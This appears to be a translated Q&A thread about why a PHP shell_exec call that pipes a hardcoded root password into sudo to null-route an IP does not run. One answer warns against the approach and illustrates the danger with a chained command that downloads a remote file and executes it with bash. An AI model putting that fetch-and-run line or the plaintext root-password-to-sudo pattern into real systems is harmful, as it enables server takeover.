Shell_exec()没有运行

时间:2014-11-18 04:17:57

标签: php shell

我正在尝试路由添加IP(多数路由器为空路由一个ip,意味着,阻止ip将数据包发送到我的服务器。它需要连接到服务器,并运行命令),换句话说,禁止IP

SSH命令

route add 50.50.50.50 gw 127.0.0.1 lo

但我想在php中使用它,使用shell_exec()函数。试试这没有运气。

shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo"); 

它没有给我错误,没有。在shell_exec()中运行该命令的正确方法是什么?

2 个答案:

答案 0 :(得分:1)

尝试:

$output = shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo");
echo "<pre>$output</pre>";

答案 1 :(得分:1)

因此,根据您正在使用的HTTP服务器(nginx,apache等),如果配置正确,这些服务帐户应该无法执行该命令,因为它们没有root级别权限才能执行您想要的更改即使启用了shell_exec也要生成。

您可以通过以root用户身份登录来测试,如果正在运行apache,请运行以下命令:

su - apache (or whatever user apache is running as)

这应该返回。

This account is currently not available.

由于apache用户应配置nologin,理论上不应该工作。但是,您可以通过'useradd'添加用户来测试此行为。

据说..在我的虚拟机上,我为上下文重新创建了这个。我创建了一个测试用户并尝试运行您列出的命令。这是输出(这也是apache用户应该得到的)

[timgalyean@test ~]$ route add 50.50.50.50 gw 127.0.0.1 lo
SIOCADDRT: Operation not permitted
[timgalyean@test ~]$

因为您可以看到用户无权执行此操作。与手头的任务相反,这是一件好事。

此外,我个人建议不要这样做,因为shell_exec会导致其他安全问题..特别是如果你授予你的用户权限来执行它。

我注意到的另一件事是你的命令中有sudo。服务用户也不应该有sudo访问权限。如果我能够弄清楚你的PHP脚本在做什么,我可以制作一些漂亮的东西,比如..

 shell_exec("echo 'rootpass' | sudo -u root -S route add 50.50.50.50 gw 127.0.0.1 lo ; wget url/myfile.txt; bash -c 'myfile.txt'"); 

假设myfile.txt是一个shell,我可以通过你的服务用户来破坏你的服务器,为了让这个工作起来,需要sudo访问。